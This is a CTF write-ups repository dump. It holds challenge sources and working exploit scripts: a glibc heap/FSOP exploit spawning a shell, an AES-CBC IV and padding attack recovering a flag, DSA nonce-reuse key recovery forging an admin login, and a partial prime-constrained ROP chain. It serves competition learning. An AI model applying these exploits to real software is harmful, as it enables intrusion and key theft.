├── 2017 ├── hitcon_community │ └── prob │ │ ├── flag.txt │ │ ├── key.txt │ │ ├── prob.py │ │ ├── ex.py │ │ └── README.md ├── ccc │ └── 300 │ │ ├── 300 │ │ ├── libc.so.6 │ │ ├── x.py │ │ └── README.md ├── confidence_teaser │ └── public_key_infrastructure │ │ ├── secrets.py │ │ ├── solve.py │ │ ├── task.py │ │ └── README.md └── confidence │ └── crypto │ └── README.md ├── 2018 ├── google_finals │ └── bobneedshelp │ │ ├── session.png │ │ ├── magic_session.png │ │ └── README.md ├── ccc │ └── sequence │ │ ├── sequence-afcf267d78429b4a36dca5bd12bdf45e.tar.gz │ │ └── README.md └── plaid │ └── garbage │ ├── garbagetruck_04bfbdf89b37bf5ac5913a3426994185b4002d65 │ ├── README.md │ └── ex.py └── 2021 └── google_quals └── ICANTBELIEVITSNOTCRYPTO └── README.md /2017/hitcon_community/prob/flag.txt: -------------------------------------------------------------------------------- 1 | hitcon{IV_15_ve3y_funny} 2 | -------------------------------------------------------------------------------- /2017/ccc/300/300: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2017/ccc/300/300 -------------------------------------------------------------------------------- /2017/ccc/300/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2017/ccc/300/libc.so.6 -------------------------------------------------------------------------------- /2017/hitcon_community/prob/key.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2017/hitcon_community/prob/key.txt -------------------------------------------------------------------------------- /2018/google_finals/bobneedshelp/session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2018/google_finals/bobneedshelp/session.png -------------------------------------------------------------------------------- /2018/google_finals/bobneedshelp/magic_session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2018/google_finals/bobneedshelp/magic_session.png -------------------------------------------------------------------------------- /2017/confidence_teaser/public_key_infrastructure/secrets.py: -------------------------------------------------------------------------------- 1 | PRIVATE = 706786456421818453400762414577406185354954139221 2 | SECRET = "fdsafdsafdsafdsafdsafdsfads" 3 | FLAG = "flag" 4 | -------------------------------------------------------------------------------- /2018/ccc/sequence/sequence-afcf267d78429b4a36dca5bd12bdf45e.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2018/ccc/sequence/sequence-afcf267d78429b4a36dca5bd12bdf45e.tar.gz -------------------------------------------------------------------------------- /2018/plaid/garbage/garbagetruck_04bfbdf89b37bf5ac5913a3426994185b4002d65: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yannayl/ctf-writeups/HEAD/2018/plaid/garbage/garbagetruck_04bfbdf89b37bf5ac5913a3426994185b4002d65 -------------------------------------------------------------------------------- /2017/hitcon_community/prob/prob.py: -------------------------------------------------------------------------------- 1 | import os,base64,time 2 | from Crypto.Cipher import AES 3 | from Crypto.Hash import MD5,SHA 4 | import sys 5 | 6 | with open('key.txt') as f: 7 | key = f.read()[:16] 8 | 9 | def pad(msg): 10 | pad_length = 16-len(msg)%16 11 | return msg+chr(pad_length)*pad_length 12 | 13 | def unpad(msg): 14 | return msg[:-ord(msg[-1])] 15 | 16 | def encrypt(iv,msg): 17 | msg = pad(msg) 18 | cipher = AES.new(key,AES.MODE_CBC,iv) 19 | encrypted = cipher.encrypt(msg) 20 | return encrypted 21 | 22 | def decrypt(iv,msg): 23 | cipher = AES.new(key,AES.MODE_CBC,iv) 24 | decrypted = cipher.decrypt(msg) 25 | decrypted = unpad(decrypted) 26 | return decrypted 27 | 28 | def send_msg(msg): 29 | iv = 'xa05md62ld8sdns3' 30 | encrypted = encrypt(iv,msg) 31 | msg = iv+encrypted 32 | msg = base64.b64encode(msg) 33 | print msg 34 | return 35 | 36 | def recv_msg(): 37 | msg = raw_input() 38 | try: 39 | msg = base64.b64decode(msg) 40 | iv = msg[:16] 41 | decrypted = decrypt(iv,msg[16:]) 42 | return decrypted 43 | except Exception: 44 | print 'Error' 45 | exit(0) 46 | 47 | 48 | if __name__ == '__main__': 49 | with open('flag.txt') as f: 50 | flag = f.read().strip() 51 | assert flag.startswith('hitcon{') and flag.endswith('}') 52 | send_msg('Welcome!!') 53 | while True: 54 | try: 55 | msg = recv_msg().strip() 56 | if msg.startswith('exit'): 57 | exit(0) 58 | elif msg.startswith('echo'): 59 | send_msg(msg[4:]) 60 | elif msg.startswith('time'): 61 | send_msg(str(time.time())) 62 | elif msg.startswith('get-flag'): 63 | send_msg(flag) 64 | elif msg.startswith('md5'): 65 | send_msg(MD5.new(msg[3:]).digest()) 66 | elif msg.startswith('sha1'): 67 | send_msg(SHA.new(msg[4:]).digest()) 68 | else: 69 | send_msg('command not found') 70 | except: 71 | exit(0) 72 | -------------------------------------------------------------------------------- /2017/ccc/300/x.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | LIBC_FILE = './libc.so.6' 4 | libc = ELF(LIBC_FILE) 5 | main = ELF('./300') 6 | 7 | context.arch = 'amd64' 8 | 9 | r = main.process(env={'LD_PRELOAD' : libc.path}) 10 | #r = remote('104.199.25.43', 1337) 11 | 12 | def menu(sel, slot): 13 | r.sendlineafter('4) free', str(sel)) 14 | r.sendlineafter('slot? (0-9)', str(slot)) 15 | 16 | def alloc(slot): 17 | menu(1, slot) 18 | 19 | def printf(slot): 20 | menu(3, slot) 21 | return r.readuntil('1)') 22 | 23 | def free(slot): 24 | menu(4, slot) 25 | 26 | def write(slot, buf): 27 | menu(2, slot) 28 | r.send(buf) 29 | 30 | def between(s, a, b): 31 | return s.split(a)[1].split(b)[0] 32 | 33 | info("leaking libc") 34 | alloc(0) 35 | alloc(1) 36 | alloc(2) 37 | alloc(3) 38 | alloc(4) 39 | free(1) 40 | libc_leak = printf(1) 41 | libc_leak = libc_leak[1:].split('\n')[0] 42 | libc_leak = libc_leak.ljust(8, '\x00') 43 | libc_leak = u64(libc_leak) 44 | info('libc 0x{:x}'.format(libc_leak)) 45 | libc.address = libc_leak - 0x3c1b58 46 | 47 | info("leaking heap") 48 | free(3) 49 | leak_heap = printf(3) 50 | leak_heap = leak_heap[1:].split('\n')[0] 51 | leak_heap = leak_heap.ljust(8, '\x00') 52 | leak_heap = u64(leak_heap) 53 | info('heap 0x{:x}'.format(leak_heap)) 54 | 55 | info("cleaning all allocations") 56 | free(0) 57 | free(2) 58 | free(4) 59 | 60 | info("populate unsorted bin") 61 | alloc(0) 62 | alloc(1) 63 | free(0) 64 | 65 | info("hijack unsorted bin") 66 | write(0, fit({8:leak_heap + 0x10})) 67 | alloc(3) 68 | 69 | info("populate bin 0x60 and hijack _IO_list_all") 70 | ONE_GADGET = libc.address + 0xcde41 71 | _IO_wstr_finish = libc.address + 0x3BDC90 72 | write(1, fit({ 73 | ## fake chunk 0x60 size 74 | 8:0x61, # control fp->_chain 75 | ## fake chunk 0x60 bk 76 | 24:leak_heap + 0x30, 77 | ## fake chunk 0x310 size 78 | 40:0x311, 79 | ## fake chunk 0x310 bk -> hijacks _IO_list_all 80 | 56:libc.symbols['_IO_list_all'] - 0x10, 81 | 82 | ## satisfy _IO_flush_all_lockp conditions on 2nd iteration 83 | 32:0, # fp->_chain->_mode 84 | 192:0, # fp->_chain->_IO_write_base 85 | ## make it jump to _IO_wstr_finish 86 | 216:_IO_wstr_finish - 0x18, # fp->_chain->vtable 87 | ## satisfy condition of _IO_wstr_finish 88 | 160:leak_heap + 0x50, # fp->_chain->_wide_data 89 | 232:ONE_GADGET, 90 | })) 91 | alloc(3) 92 | 93 | info("trigger _IO_flush_all_lockp") 94 | menu(5, 10) 95 | 96 | r.interactive() 97 | 98 | -------------------------------------------------------------------------------- /2017/confidence_teaser/public_key_infrastructure/solve.py: -------------------------------------------------------------------------------- 1 | from task import * 2 | import socket 3 | 4 | addr = ('pki.hackable.software',1337) 5 | n1 = '3473610a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c7c3252c8d653f6e08707032329bde4b960bb1d78477243b293a40be719aa5a4c4fcc1c3ecf420ec6b4a7623b775ac6620a109cef4bf74db4fa69d7bd7a12562acdbcd3fc9880790bd2da6f8a7634c34ac29f90101bae01cd5fb13c94c297d1eef9856de6c729741b1b3adefb01958ec1007653d0e62f792b618c57eea6bcdd9' 6 | n2 = '3473610a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c7c3252c8d653f6e08707032329bde4b960bb1578477243b293a40be719aa5a4c4fcc1c3ecf420ec6b4a7623b7f5ac6620a109cef4bf74db4fa69dfbd7a12562acdbcd3fc9880790bd2da6f8a7634c34ac29f98101bae01cd5fb13c94c297d1eef9856de6c729741b1b3adefb09957ec1007653d0e62f792b618c5feea6bcdd9' 7 | n1 = (n1 + '00' * 40).decode('hex') 8 | n2 = (n2 + '00' * 40).decode('hex') 9 | 10 | name = 'c' 11 | 12 | base = pow(2, 320) 13 | e = 2 ** 16 + 1 14 | d = modinv(e, base / 2) 15 | 16 | ## make sure we have a K collision 17 | assert h(makeK(name,n1)) == h(makeK(name,n2)) 18 | assert h(makeMsg(name,n1)) != h(makeMsg(name,n2)) 19 | 20 | def b64(s): 21 | return s.encode('base64').replace('\n', '') 22 | 23 | def make_register_req(name, n): 24 | params = ','.join([b64(p) for p in [name, n]]) 25 | req = ':'.join(['register', params]) 26 | return req 27 | 28 | def make_login_req(name, n, sig): 29 | sig = hex(sig)[2:].strip('L') 30 | sig = ('\0' + sig) if (len(sig) % 2 == 1) else sig 31 | print 'sig:', sig 32 | sig = sig.decode('hex') 33 | params = ','.join([b64(p) for p in [name, n, sig]]) 34 | req = ':'.join(['login', params]) 35 | return req 36 | 37 | def snd_rcv(req): 38 | s = socket.socket() 39 | s.connect(addr) 40 | print '>', req 41 | s.send(req) 42 | resp = s.recv(4096).strip() 43 | print '<', resp 44 | return resp 45 | 46 | resp1 = snd_rcv(make_register_req(name, n1)) 47 | sig1 = pow(int(resp1), d, base) 48 | assert snd_rcv(make_login_req(name, n1, sig1)) == 'Hello ' + name 49 | 50 | resp2 = snd_rcv(make_register_req(name, n2)) 51 | sig2 = pow(int(resp2), d, base) 52 | assert snd_rcv(make_login_req(name, n2, sig2)) == 'Hello ' + name 53 | 54 | 55 | r1 = sig1 / Q 56 | r2 = sig2 / Q 57 | assert r1 == r2 58 | 59 | s1 = sig1 % Q 60 | s2 = sig2 % Q 61 | assert s1 != s2 62 | 63 | ds = (s1 - s2) % Q 64 | inv_ds = modinv(ds, Q) 65 | 66 | h1 = h(makeMsg(name, n1)) 67 | h2 = h(makeMsg(name, n2)) 68 | 69 | dh = (h1 - h2) % Q 70 | k = (dh * inv_ds) % Q 71 | inv_r1 = modinv(r1, Q) 72 | inv_r2 = modinv(r2, Q) 73 | 74 | PRIVATE1 = ((s1 * k - h(makeMsg(name, n1))) * inv_r1) % Q 75 | PRIVATE2 = ((s2 * k - h(makeMsg(name, n2))) * inv_r2) % Q 76 | inv_k = modinv(k,Q) 77 | assert PRIVATE1 == PRIVATE2 78 | PRIVATE = PRIVATE1 79 | assert PUBLIC == pow(G, PRIVATE, P) 80 | 81 | def my_sign(name, n): 82 | k = 1 83 | r = pow(G, k, P) % Q 84 | s = (modinv(k, Q) * (h(makeMsg(name, n)) + PRIVATE * r)) % Q 85 | return (r*Q + s) 86 | 87 | n = '' 88 | name = 'admin' 89 | print snd_rcv(make_login_req(name, n, my_sign(name, n))) 90 | -------------------------------------------------------------------------------- /2017/confidence_teaser/public_key_infrastructure/task.py: -------------------------------------------------------------------------------- 1 | from secrets import SECRET, PRIVATE, FLAG 2 | import hashlib 3 | import SocketServer 4 | 5 | PORT = 1337 6 | 7 | G = 0xe6a5905121b0fd7661e2eb06db9a4d96799165478a0b2baf09836c59ccf4f086bc2a55191ee4bf8b2324f6f53294da244342aba000f7b915861ba2167d09c5569910ae80990c3c79040879d8e16e48219127718d9ff05f71a905041564e9bcb55417b39cdb0b7afc6863ccd10b90ee42f856840e0dd5f8602e49592b58a22d39 8 | P = 0xf2a4ca87978e05b112ef4a16b547c5036cd51fadac0cf967c152e56378c792a45e76e0ebfd62b2b23e94ca3727fbe1ebb308211cf8938c8a735db2de4cd26f0beb53b51fc2a5474bd0d466fc54fce13a4ec2b9840800ecdf337c55105c9b7d702b7f2d20bb3cba16a5948a208f8886ab2eddd1284a5b8ec457bf696be4bbb51b 9 | Q = 0x9821a36da85bf3bcfb379d7cc39f5b6db7a553d5 10 | PUBLIC = 0x5596b39949bab7979f8a679c11daad86ed59394ff4956769ec036d579ae6f80cd99bd12c442e10ee6aceed275739cb07417842d28d45f82b7a64d506c6f50f95622491a07c834260d64eb75bdaccdfdcf8ca4584f0c300403a4bed1ca515854b97732c8638118f71720c054f15d441f784a8c7b0c1a41dd07eb9acaaa7a7126e 11 | 12 | def h(x): 13 | return int(hashlib.md5(x).hexdigest(), 16) 14 | 15 | def egcd(a, b): 16 | if a == 0: 17 | return (b, 0, 1) 18 | else: 19 | g, y, x = egcd(b % a, a) 20 | return (g, x - (b // a) * y, y) 21 | 22 | def modinv(a, m): 23 | g, x, y = egcd(a, m) 24 | if g != 1: 25 | raise Exception('modular inverse does not exist') 26 | else: 27 | return x % m 28 | 29 | def makeMsg(name, n): 30 | return 'MSG = {n: ' + n + ', name: ' + name + '}' 31 | 32 | def makeK(name, n): 33 | return 'K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}' 34 | 35 | def sign(name, n): 36 | k = h(makeK(name, n)) 37 | print k 38 | r = pow(G, k, P) % Q 39 | s = (modinv(k, Q) * (h(makeMsg(name, n)) + PRIVATE * r)) % Q 40 | return (r*Q + s) 41 | 42 | def verify(name, n, sig): 43 | r = sig / Q 44 | s = sig % Q 45 | if r < 0 or s < 0 or r > Q: 46 | return False 47 | w = modinv(s, Q) 48 | u1 = (h(makeMsg(name, n)) * w) % Q 49 | u2 = (r * w) % Q 50 | v = ((pow(G, u1, P) * pow(PUBLIC, u2, P)) % P) % Q 51 | return r == v 52 | 53 | def register(name, n): 54 | if name == 'admin': 55 | return 'admin name not allowed' 56 | if len(name) > 5: 57 | return 'name too long' 58 | return str(pow(sign(name, n), 65537, int(n.encode('hex'), 16))) 59 | 60 | def login(name, n, sig): 61 | if not verify(name, n, int(sig.encode('hex'), 16)): 62 | return 'failed to verify' 63 | if name == 'admin': 64 | return FLAG 65 | else: 66 | return 'Hello ' + name 67 | 68 | def process(data): 69 | [fun, params] = data.split(':') 70 | if fun == 'register': 71 | [name, n] = [x.decode('base64') for x in params.split(',')] 72 | return register(name, n) 73 | elif fun == 'login': 74 | [name, n, sig] = [x.decode('base64') for x in params.split(',')] 75 | return login(name, n, sig) 76 | else: 77 | return 'bad function' 78 | 79 | class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): 80 | def handle(self): 81 | data = self.request.recv(1024) 82 | try: 83 | ret = process(data) 84 | except: 85 | ret = 'Error' 86 | self.request.sendall(ret + '\n') 87 | 88 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 89 | pass 90 | 91 | if __name__ == '__main__': 92 | server = ThreadedTCPServer(('0.0.0.0', PORT), ThreadedTCPRequestHandler) 93 | server.allow_reuse_address = True 94 | server.serve_forever() 95 | 96 | -------------------------------------------------------------------------------- /2018/plaid/garbage/README.md: -------------------------------------------------------------------------------- 1 | # PlaidCTF 2018: Garbage Truck Challenge 2 | 3 | We receive a [binary](./garbagetruck_04bfbdf89b37bf5ac5913a3426994185b4002d65) with a very obvious stack based buffer overflow bug. 4 | This is what the main loop function looks like: 5 | ```C 6 | cnt = 0; 7 | while ( 1 ) { 8 | printf("Pitch?\n> "); 9 | in = read64(); 10 | if ( !in ) 11 | break; 12 | if (is_garbage(in)) { 13 | puts("Throwing away that garbage!"); 14 | idx = cnt++; 15 | buf[idx] = in; 16 | } else { 17 | puts("That's not garbage. I love it <3"); 18 | } 19 | } 20 | close(0); 21 | ``` 22 | Where `buf` is a buffer on the stack. The binary is not `PIE`d and has no stack canaries. 23 | So, if the input number returned from the user in the `read64` function `is_garbage` then we get to write it to the stack. 24 | After some reversing, we see that the `is_garbage` function is actually the Rabin-Miller primality test which is implemneted in the statically linked `openssl` library contained in the binary. 25 | Therefore, the challenge is to write a ROP-chain which would print the flag using only prime 64-bit numbers. Another limitation this binary present is that when returning from the function, the `stdin` is closed, so apparently the author intended for this chain to run without any further input from the user. 26 | 27 | We fired up `ROPgadget` and printed all gadgets (using the `--all` flag) and filtered only the [gadgets which address is a prime number](primes.txt) (using a simple python script). 28 | Then, we started to build a ROP chain. 29 | 30 | The first chain we managed to build was `system("cat *")`. Building it wasn't easy, as we weren't sure which `libc` version is used on the server and computing the location of the `system` function dynamically wasn't an easy task either. We first built a chain that printed a few values from the `.got` section to identify the `libc` version (2.23 from Ubuntu 16.04) and then built a chain that read the value of `read` from the got, added the difference between `system` and `read` and eventually jumped to system. The good thing is that every number is a sum of just a few primes (Goldbach conjecture), so we can get from one number to another quite easily if we find a good addition primitive. We were amused to find that `"cat *"` is a prime number :) 31 | However, this chain didn't work on the server. Neither a chain of `system("echo 7")` nor any other `system` based chain we tried. We don't know why (it did work locally), but there could be a few reasons (e.g. the server sandbox doesn't allow `exec`ing). 32 | 33 | Our next attempt was to construct a general, unconstrained, Write-What-Where primitive to build an Open-Read-Write chain. We managed to construct this primitive, however, it was too long and building a chain using it exhausted the stack. 34 | 35 | Eventually, an idea popped in our mind. The use of file descriptors `0` and `1` for `stdin` and `stdout` is merely a convention. The kernel is not aware of this convention and doesn't have any special handling for it. It is very much possible to switch the two or not use them at all. In our binary, even though file descriptor zero is closed before executing our ROP-chain, file descriptor 1 is untouched. If both file descriptors use the same underlying file - e.g. the socket of the connection with the user - reading from file descriptor 1 will read from the socket! 36 | A very common way to leverage a constrained ROP-chain to an unconstrained is to read from the user to the stack, i.e. `read(0, $rsp, 0x1000)`, which launches a second, unconstrained, chain. 37 | Combining these two realizations, we constructed a chain that effectively `read(1, $rsp, 499)` and after that sent the address of some write from the binary. We received the output, so our conjecture turned out to be true - reading from file descriptor 1 works and reads from the connection. (We have a feeling that this hack wasn't intended though) 38 | 39 | So, using this, we constructed a second ROP-chain with [all gadgets](gadgets.txt) in the binary. The second chain opens the flag file, reads it and writes it to the user. 40 | 41 | You can find the full solution [here](ex.py). If you are interested in our false attempts, see the previous commits in this repository. 42 | -------------------------------------------------------------------------------- /2017/hitcon_community/prob/ex.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from prob import decrypt, pad 3 | from Crypto.Hash import MD5,SHA 4 | from string import printable 5 | 6 | #context.log_level = "debug" 7 | 8 | charset = list(printable) + map(chr, range(1,17)) 9 | iv_remote = 'xa05md62ld8sdns3' 10 | 11 | r = process(['python', 'prob.py']) 12 | #r = remote('pwnhub.tw', 12345, timeout=20) 13 | 14 | def sendmsg(iv, c): 15 | debug("send message: " + decrypt(iv, c)) 16 | msg = iv + c 17 | msg = msg.encode('base64') 18 | msg = msg.replace('\n', '') + '\n' 19 | r.send(msg) 20 | 21 | def recvmsg(): 22 | m = '' 23 | while True: 24 | try: 25 | l = r.recvline() 26 | m = l.decode('base64') 27 | break 28 | except: 29 | warn("bad line: " + l) 30 | iv = m[:16] 31 | c = m[16:] 32 | debug("recv message: " + decrypt(iv, c)) 33 | return iv,c 34 | 35 | def sr(iv, c): 36 | sendmsg(iv, c) 37 | iv, c = recvmsg() 38 | assert iv == iv_remote 39 | return c 40 | 41 | 42 | def xor(a1, a2, a3): 43 | ret = [] 44 | for x1, x2, x3 in zip(a1, a2, a3): 45 | ret.append(ord(x1) ^ ord(x2) ^ ord(x3)) 46 | 47 | ret = ''.join(chr(c) for c in ret) 48 | debug('\n' + hexdump(a1+a2+a3+ret)) 49 | return ret 50 | 51 | 52 | def create_iv(msg, iv, msg_new, size=-1): 53 | msg = pad(msg) 54 | if -1 != size: 55 | msg = msg[:-1] + chr(size) 56 | 57 | return xor(iv, msg, pad(msg_new)) 58 | 59 | iv_remote, c_welcome = recvmsg() 60 | m_welcome = 'Welcome!!' 61 | 62 | 63 | info('send get-flag') 64 | iv = create_iv(m_welcome, iv_remote, 'get-flag') 65 | c_flag = sr(iv, c_welcome) 66 | 67 | flag = 'hitcon{' 68 | iv = create_iv(m_welcome, iv_remote, 'echo') 69 | c_empty = sr(iv, c_welcome) 70 | 71 | for last_byte in charset: 72 | debug('try %c' % last_byte) 73 | 74 | iv = create_iv(flag, iv_remote, 'echo', size=ord(last_byte)) 75 | if sr(iv, c_flag[:16]) == c_empty: 76 | info("found block last character - %c" % last_byte) 77 | break 78 | else: 79 | error('faied to find block\'s last byte') 80 | exit(-1) 81 | 82 | while len(flag) < 15: 83 | info('getting flag char %d' % (len(flag) + 1)) 84 | 85 | for c in charset: 86 | cand = flag + c 87 | debug('try ' + cand) 88 | iv = create_iv(m_welcome, iv_remote, 'echo' + cand[4:]) 89 | c_cand = sr(iv, c_welcome[:16]) 90 | 91 | iv = create_iv(cand, iv_remote, 'echo' + cand[4:], size=ord(last_byte)) 92 | if c_cand == sr(iv, c_flag[:16]): 93 | flag = cand 94 | info('found ' + cand) 95 | break 96 | else: 97 | break 98 | 99 | flag = flag + last_byte 100 | info('flag first block: ' + flag) 101 | 102 | info('skip flag fist 12 bytes') 103 | iv = create_iv(flag[:4], iv_remote, 'echo') 104 | c_flag4 = sr(iv, c_flag) 105 | iv = create_iv(flag[4:8], iv_remote, 'echo') 106 | c_flag8 = sr(iv, c_flag4) 107 | iv = create_iv(flag[8:12], iv_remote, 'echo') 108 | c_flag12 = sr(iv, c_flag8) 109 | 110 | info("looking for next block last byte") 111 | for last_byte in charset: 112 | debug('try %c' % last_byte) 113 | 114 | iv = create_iv(flag[12:], iv_remote, 'echo', size=ord(last_byte)) 115 | if sr(iv, c_flag12[:16]) == c_empty: 116 | info("found block last character - %c" % last_byte) 117 | break 118 | else: 119 | error('faied to find block\'s last byte') 120 | exit(-1) 121 | 122 | while len(flag) < 12 + 15: 123 | info('getting flag char %d' % (len(flag) + 1)) 124 | 125 | for c in charset: 126 | cand = flag[12:] + c 127 | debug('try ' + cand) 128 | iv = create_iv(m_welcome, iv_remote, 'echo' + cand[4:]) 129 | c_cand = sr(iv, c_welcome[:16]) 130 | 131 | iv = create_iv(cand, iv_remote, 'echo' + cand[4:], size=ord(last_byte)) 132 | if c_cand == sr(iv, c_flag12[:16]): 133 | flag = flag + c 134 | info('found ' + flag) 135 | break 136 | else: 137 | error('falied to find next char') 138 | exit(-1) 139 | 140 | if last_byte == flag[-1]: 141 | break 142 | 143 | info('found flag: ' + flag[:-1]) 144 | 145 | -------------------------------------------------------------------------------- /2017/hitcon_community/prob/README.md: -------------------------------------------------------------------------------- 1 | # HITCON CMT 17 - Prob Crypto Challenge 2 | 3 | In the [challenge](prob.py) there is a service that communicates with a client in AES-CBC mode with standard PKCS#7 padding scheme. All messages are sent and received encrypted and we do not have the key. 4 | However, we (as clients) do control the IV of the messages we send and the IV of the server remains constant (I think it is not crucial for solving this challenge though). 5 | The service starts with sending a 'Welcome!!' message (encrypted) and waits for the client to send (encrypted) commands. 6 | Although we do not have the key, we do control the IV. As the IV is xored with the message after the decryption (and before removing the padding), we can change the IV to send any message we want (as long as it's 15 bytes or shorter). 7 | Here is the function for creating an `(IV,Cipher)` pair for certain message `msg_new`: 8 | ```python 9 | def create_iv(msg, iv, msg_new): 10 | return xor(iv, pad(msg), pad(msg_new)) 11 | 12 | IV = create_iv('Welcome!!', iv_remote, 'get-flag') 13 | Cipher = cipher_msg_welcome[:16] 14 | ``` 15 | The decryption of this pair is the `get-flag` command because the xoring with the IV is applied after decryption of the `cipher_msg_welcome[:16]` block. 16 | The process is: 17 | ``` 18 | d0 = AES.decrypt(cipher_msg_welcome[:16]) 19 | d1 = d0 ^ IV 20 | ## which is equivalent to 21 | d0 ^ iv_remote ^ pad('Welcome!!') ^ pad('get-flag') 22 | ## by creation of d0 and cipher_msg_welcome[:16] we know that 23 | d0 ^ iv_remote == pad('Welcome!!') 24 | ## so we can assign it and get 25 | pad('Welcome!!') ^ pad('Welcome!!') ^ pad('get-flag') 26 | ## which is equivalent to 27 | pad('get-flag') 28 | ``` 29 | The service respond with an encryption message containing the flag. 30 | 31 | Now we have the encrypted flag and we need to start finding the bytes of the flag denoted with `c_flag`, it is 2-blocks long (32 bytes). 32 | We know from the service's source that the flag starts with `hitcon{`. Understanding the padding scheme implementation, we can brute-force the last byte of the first block alone. 33 | First, we send a message containing only the command `echo`. The service responds with encrypting the remaining part of the message, removing the `echo`. 34 | ```python 35 | elif msg.startswith('echo'): 36 | send_msg(msg[4:]) 37 | ``` 38 | In this case, the respond is simply an encryption of and empty string denoted `c_empty`. 39 | Next, we alter the `create_iv` function to allow forcing the `msg` last byte: 40 | ```python 41 | def create_iv(msg, iv, msg_new, last_byte=-1): 42 | msg = pad(msg) 43 | if -1 != last_byte: 44 | msg = msg[:-1] + last_byte 45 | 46 | return xor(iv, msg, pad(msg_new)) 47 | ``` 48 | and now we brute-force every possible last byte, sending: 49 | ```python 50 | IV = create_iv('hitc', iv_remote, 'echo', last_byte) 51 | Cipher = c_flag[:16] 52 | ``` 53 | when we hit the correct byte, the server response is identical to the empty response, because the decrypted last byte makes the `unpad` function remove exactly 12 bytes and the bytes that remain are the `echo` command. 54 | 55 | After finding the last byte in the first block, we can brute-force the remaining bytes in the block on at a time. We create a message that start with the `echo` command and continues with the remaining known bytes of the flag plus the guessed byte. For example, if we know the flag starts with `hitcon{` and our guess is `0`, we send a message which is decrypted to `echoon{0`. The server response is the encryption of `on{0`. Next, we try to convert the flag's first block to the same message, sending `create_iv('hitcon{0', iv_remote, 'echoon{0' , last_byte)` as IV and `c_flag[:16]` as a cipher. If `0` is indeed the correct character, the service responds with the same cipher and we can check it by comparison to the cipher we received earlier. 56 | 57 | Now that we found the first 16 bytes of the flag (15 bytes + last byte), we can't proceed with the same method as is. The decryption of the second block is xored with the cipher of the first block which we can't change in a predictable way. However, the `echo` command provides us with a very neat way to move the remaining parts of the flag to the first block. 58 | By changing just the fist four bytes of the flag's IV to `echo`, the service responds with and encryption of the flag starting in the fourth byte (`flag[4:]`). 59 | Applying this method 3 times (note we know the first 12 bytes of the flag), we get the encryption of `flag[12:]` and we know the first 4 bytes of the clear-text (the last 4 bytes of the first block). So we can now use the same method we used on the first block to decrypt the next 12 bytes. 60 | 61 | This is it, decrypting the next 12 bytes gives us the desired [flag](flag.txt). 62 | You can find the full solution [here](ex.py) 63 | 64 | Many thank to @doronsobol who helped me clearing my head in unconventional hours 65 | -------------------------------------------------------------------------------- /2018/plaid/garbage/ex.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | main = ELF("garbagetruck_04bfbdf89b37bf5ac5913a3426994185b4002d65") 4 | context.binary = main 5 | 6 | def isPrime(n): 7 | return 2 in [n, pow(2,n,n)] 8 | 9 | def set_rcx_and_others(rcx, rbx=0x1337, rbp=0x1337, r12=0x1337, r13=0x1337, r14=0x1337): 10 | return flat( 11 | 0x0000000000448a7b, # : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret 12 | rcx, 13 | rbx, 14 | rbp, 15 | r12, 16 | r13, 17 | r14, 18 | ) 19 | 20 | def inc_rcx(): 21 | return flat(0x00000000004b9341) 22 | 23 | def set_eax_1(): 24 | return flat(0x000000000041a3dd) # mov dl, 0x66 ; nop ; mov eax, 1 ; ret 25 | 26 | def set_r12(val): 27 | return flat( 28 | 0x000000000048e25b, 29 | val 30 | ) 31 | 32 | add_rsp_8 = 0x0000000000405afd # : add rsp, 8 ; ret 33 | 34 | def set_rdi_from_rax(): 35 | return flat( 36 | set_r12(add_rsp_8), 37 | 0x00000000004a8d65, # lea rsi, qword ptr [rsp + 0x10] ; mov rdi, rax ; call r12 38 | ) 39 | 40 | def set_rdi_1(): 41 | return flat( 42 | set_eax_1(), 43 | set_rdi_from_rax(), 44 | ) 45 | 46 | def set_rbp(val): 47 | return flat( 48 | 0x00000000004847d7, 49 | val 50 | ) 51 | 52 | def set_rdx(val): 53 | return flat( 54 | set_r12(add_rsp_8), 55 | set_rbp(val), 56 | 0x000000000049411f, #: and al, 0x28 ; mov rdx, rbp ; call r12 57 | ) 58 | 59 | def set_rax(val): 60 | return flat( 61 | set_rdx(val), 62 | 0x000000000040fda5, # : adc edx, 0 ; mov r10, rdx ; mov rax, r10 ; ret 63 | ) 64 | 65 | def set_rsi_rsp(): 66 | return flat( 67 | set_rax(add_rsp_8), 68 | 0x00000000004a0a61, # : mov rsi, rsp ; call rax 69 | ) 70 | 71 | def jmp_rcx(): 72 | return flat(0x000000000044bc1f) 73 | 74 | def nop(): 75 | return flat(0x0000000000402115) # : ret 76 | 77 | def set_rsi2(val): 78 | return flat( 79 | 0x0000000000402759, 80 | val, 81 | ) 82 | 83 | def set_rdi(val): 84 | return flat( 85 | 0x0000000000403043, 86 | val, 87 | ) 88 | 89 | def set_rdx2(val): 90 | return flat( 91 | 0x00000000004f67f5, # : pop rdx ; ret 92 | val, 93 | ) 94 | 95 | def jmp_rax(): 96 | return flat(0x000000000043b811) # : jmp rax 97 | 98 | def wwwq(addr, val): 99 | return flat( 100 | set_rdi(addr), 101 | set_rdx2(val), 102 | 0x0000000000423f04, # : mov qword ptr [rdi], rdx ; ret 103 | ) 104 | 105 | def func_call(name, *args): 106 | set_regs = [set_rdi, set_rsi2, set_rdx2] 107 | return flat( 108 | flat([set_regs[i](arg) for i, arg in enumerate(args)]), 109 | main.symbols[name], 110 | ) 111 | 112 | def infloop(): 113 | return flat( 114 | 0x000000000040642f, # : pop rax ; jmp 